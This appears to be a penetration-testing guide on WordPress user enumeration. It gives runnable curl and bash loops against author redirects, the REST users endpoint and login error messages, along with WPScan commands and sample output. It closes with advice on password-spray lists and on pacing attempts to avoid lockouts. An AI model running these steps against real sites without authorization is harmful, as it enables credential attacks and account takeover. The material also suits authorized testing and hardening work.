User Enumeration
Brute-forcing WordPress without a valid username list is wasteful. Enumerate users first; spray credentials against confirmed users second. Four sources, each with different stealth and reliability characteristics:
# 1. The ?author=N redirect oracle (the most reliable + most common)for i in $(seq 1 20); do curl -sI "http://target/?author=$i" \ | awk -v i="$i" '/^Location:/ {print "id=" i ": " $2}'done
# 2. The REST API user endpointcurl -s 'http://target/wp-json/wp/v2/users' | jq -r '.[] | "\(.id) \(.slug) \(.name)"'
# 3. Login error differential# Invalid user: "The username <user> is not registered..."# Valid user: "The password you entered for <user> is incorrect..."
# 4. WPScanwpscan --url http://target --enumerate uSuccess indicator: a list of <id> <slug> <display name> triples covering at least the admin user (ID 1) and one or more author accounts.
Why enumerate users first
Section titled “Why enumerate users first”A few reasons:
- Brute-force without a username target is “spray everything against everything” - wasteful and noisy. Password-spray with a verified user list is targeted and effective.
- Lockout policies usually trigger per-user, not per-source-IP. Spraying one common password across 20 known users gets you 20 chances; brute-forcing
admin:wordlistwith no other usernames in the mix may lock just one account but still alert on the failure rate. - The admin user is the highest-value target. Default admin username
adminis sometimes renamed. Knowing the rename target is required for any brute-force attempt against the actual administrator. - Display name vs. login slug. WordPress shows the “Display Name” on the front-end (e.g., “John Smith”) but the login uses the “slug” (e.g.,
jsmith). Enumerating both is required to brute-force correctly.
Source 1 - ?author=N redirect oracle
Section titled “Source 1 - ?author=N redirect oracle”WordPress maps the URL parameter author=N (where N is a numeric user ID) to that user’s archive page. The mapping is:
?author=1 → /index.php/author/<slug>/ (when the user has any published posts)?author=1 → /wp-login.php (when the user has no posts)?author=1 → 404 (when user ID 1 doesn't exist)The redirect’s Location: header contains the user’s slug. That’s the operator-relevant detail.
curl -sI 'http://blog.inlanefreight.com/?author=1'HTTP/1.1 301 Moved PermanentlyDate: Wed, 13 May 2020 20:47:08 GMTServer: Apache/2.4.29 (Ubuntu)X-Redirect-By: WordPressLocation: http://blog.inlanefreight.com/index.php/author/admin/Content-Length: 0Content-Type: text/html; charset=UTF-8The Location: is .../author/admin/ - user ID 1’s slug is admin.
For non-existent IDs:
curl -sI 'http://blog.inlanefreight.com/?author=999'HTTP/1.1 404 Not FoundDate: Wed, 13 May 2020 20:47:14 GMTServer: Apache/2.4.29 (Ubuntu)Expires: Wed, 11 Jan 1984 05:00:00 GMT...The 404 vs. 301 distinction is unambiguous. Iterate over a range of IDs:
for i in $(seq 1 20); do loc=$(curl -sI "http://target/?author=$i" | awk 'tolower($1)=="location:" {print $2}' | tr -d '\r') if [ -n "$loc" ]; then slug=$(echo "$loc" | grep -oE 'author/[^/]+' | cut -d/ -f2) echo "id=$i slug=$slug" fidoneid=1 slug=adminid=2 slug=ch4pid=4 slug=erikaid=7 slug=davidGaps (id=3, id=5, id=6 missing) just mean those user IDs were deleted or never created. Common in real-world targets where users were added and removed over time.
What stops this technique
Section titled “What stops this technique”A few defenses, in order of how often they’re deployed:
| Defense | Effect |
|---|---|
| Security plugin (Wordfence, iThemes Security) with “Hide username from author archive” | ?author=1 returns the homepage or 404 regardless of user existence |
redirect_canonical filter customized to suppress slug | Location: header returns the post archive URL without the slug |
users_can_register = off AND no published posts by any user | ?author=N for valid IDs redirects to /wp-login.php instead of to the slug |
When the redirect oracle is blocked, fall through to source 2.
Confirming admin user identity
Section titled “Confirming admin user identity”The display name shown next to a post byline is a hint but not always the slug. Hover over the byline (or read the <a href>):
<span class="post-author">by <a href="http://target/author/jsmith/" rel="author">John Smith</a></span>The link points to /author/jsmith/ - the slug is jsmith, not “John Smith.” jsmith is what you’d submit as the username to wp-login.php.
Source 2 - REST API /wp-json/wp/v2/users
Section titled “Source 2 - REST API /wp-json/wp/v2/users”WordPress 4.7+ exposes a /wp-json/wp/v2/users endpoint via the REST API. Pre-4.7.2, this returned every user that had ever published a post (which often included accounts that no longer had posts but had at some point). Post-4.7.2, it returns only users with currently-published posts by default.
curl -s 'http://target/wp-json/wp/v2/users' | jq -r '.[] | "\(.id)\t\(.slug)\t\(.name)\t\(.link)"'1 admin Administrator http://target/author/admin/2 ch4p ch4p http://target/author/ch4p/4 erika Erika Smith http://target/author/erika/7 david David Brown http://target/author/david/This is the cleanest source when it works:
id- the numeric ID (same one used in?author=N)slug- login usernamename- display name (sometimes the real name, sometimes the same as the slug)link- author archive URL (useful for verifying the slug)
When the endpoint is restricted
Section titled “When the endpoint is restricted”WordPress provides a filter (rest_authentication_errors) that security plugins use to lock down the REST API. When restricted:
$ curl -s 'http://target/wp-json/wp/v2/users' | jq{ "code": "rest_user_cannot_view", "message": "Sorry, you are not allowed to list users.", "data": { "status": 401 }}That 401 still confirms WordPress is running and the REST endpoint exists - it just won’t return users. Move to source 1 or source 3.
Per-user lookup
Section titled “Per-user lookup”Even when listing is blocked, individual user lookup by ID is sometimes still allowed:
curl -s 'http://target/wp-json/wp/v2/users/1' | jqIf ID 1 returns user data while the list endpoint returns 401, the filter is misconfigured and per-ID lookup is the workaround:
for i in $(seq 1 50); do resp=$(curl -s "http://target/wp-json/wp/v2/users/$i") echo "$resp" | jq -e '.slug // empty' >/dev/null 2>&1 \ && echo "id=$i $(echo $resp | jq -r .slug)"doneSource 3 - login error message differential
Section titled “Source 3 - login error message differential”WordPress’s wp-login.php returns different error strings for “user doesn’t exist” vs. “password is wrong”:
# Submit a bogus username + bogus passwordcurl -s 'http://target/wp-login.php' \ --data 'log=nonexistent_user_xxx&pwd=wrong&wp-submit=Log+In' \ | grep -oE 'is not registered|password you entered'| Response contains | Meaning |
|---|---|
<strong>Error</strong>: The username <user> is not registered | User doesn’t exist |
<strong>Error</strong>: The password you entered for the username <user> is incorrect | User exists, password wrong |
Username and password are incorrect (or similar generic) | Differential disabled by hardening |
Detection script
Section titled “Detection script”for user in $(cat candidate_users.txt); do resp=$(curl -s -X POST "http://target/wp-login.php" \ --data "log=${user}&pwd=DefinitelyWrongPwd123&wp-submit=Log+In") if echo "$resp" | grep -q "is not registered"; then echo "INVALID: $user" elif echo "$resp" | grep -q "password you entered"; then echo "VALID: $user" else echo "UNKNOWN: $user" fidoneThis source confirms users from a candidate list without depending on the redirect oracle or REST API. The candidate list can come from:
- Email-format derivation against employee names (e.g.,
firstname.lastname,flastname) - Common admin usernames (
admin,administrator,wp-admin,superuser,root) - Company-specific patterns (the company name,
<companyname>admin)
The hardened response
Section titled “The hardened response”WordPress 5.x added a wp_login_errors filter that some security plugins use to homogenize errors:
<strong>Error</strong>: The username or password you entered is incorrect.When errors are homogenized, this source is dead. Fall back to source 1 or 2.
Source 4 - WPScan automation
Section titled “Source 4 - WPScan automation”wpscan --url http://target --enumerate uWPScan combines multiple sources internally:
- Passive: scrape
<a class="author">links from rendered posts - Active: iterate
?author=1..until 404 - Active: query
/wp-json/wp/v2/usersif the REST API is open - Active (with
--enumerate u): hitwp-login.phpwith bogus passwords and check for the differential
Sample output:
[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:01 <==========> (10 / 10) 100.00% Time: 00:00:01
[i] User(s) Identified:
[+] admin | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)
[+] david | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
[+] roger | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)The “Found By” / “Confirmed By” output tells you which sources contributed - useful for assessment reports and for debugging when one source fails but another succeeds.
To limit the ID brute-force range:
wpscan --url http://target --enumerate u1-50Default range is 1-10. For a site with many authors over years, push it higher (1-100 or beyond).
XML-RPC user enumeration
Section titled “XML-RPC user enumeration”xmlrpc.php can also be used for user enumeration, but it’s covered separately in XML-RPC abuse because the mechanism is brute-force-style rather than oracle-style - you submit a (username, password) pair and the server’s response tells you whether the username existed and whether the password was right. This is louder than the oracle methods above but useful when others are blocked.
What to do with the user list
Section titled “What to do with the user list”Once you have confirmed usernames:
-
Identify the admin. ID 1 is the default admin user. Sometimes renamed; sometimes a different ID is the actual admin. The
rolesfield in the REST response (when available) confirms it. -
Build a password candidate list. For each user:
- Common patterns:
<user>,<user>123,<user>2024!,<companyname>2024! - Seasonal:
Spring2024!,Summer2024!, etc. - Welcome variants:
Welcome1,Welcome123,Welcome2024!
- Common patterns:
-
Choose the brute-force vector. Login via
wp-login.phpor viaxmlrpc.php- see Login brute-force. -
Calibrate to lockout policy. If the admin uses iThemes Security with brute-force protection, more than a few attempts will block your IP. Spray patterns (one password attempt per user per hour) work better than rapid-fire.
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
?author= oracle (single user) | curl -sI 'http://target/?author=1' | grep -i location |
?author= oracle (sweep) | bash loop iterating IDs 1-20+ |
| REST users (full list) | curl -s 'http://target/wp-json/wp/v2/users' | jq |
| REST users (per-ID) | curl -s 'http://target/wp-json/wp/v2/users/1' | jq |
| Login error differential | curl -s 'http://target/wp-login.php' --data 'log=USER&pwd=wrong&wp-submit=Log+In' | grep -oE 'is not registered|password you entered' |
| WPScan users | wpscan --url http://target --enumerate u |
| WPScan users (wider range) | wpscan --url http://target --enumerate u1-100 |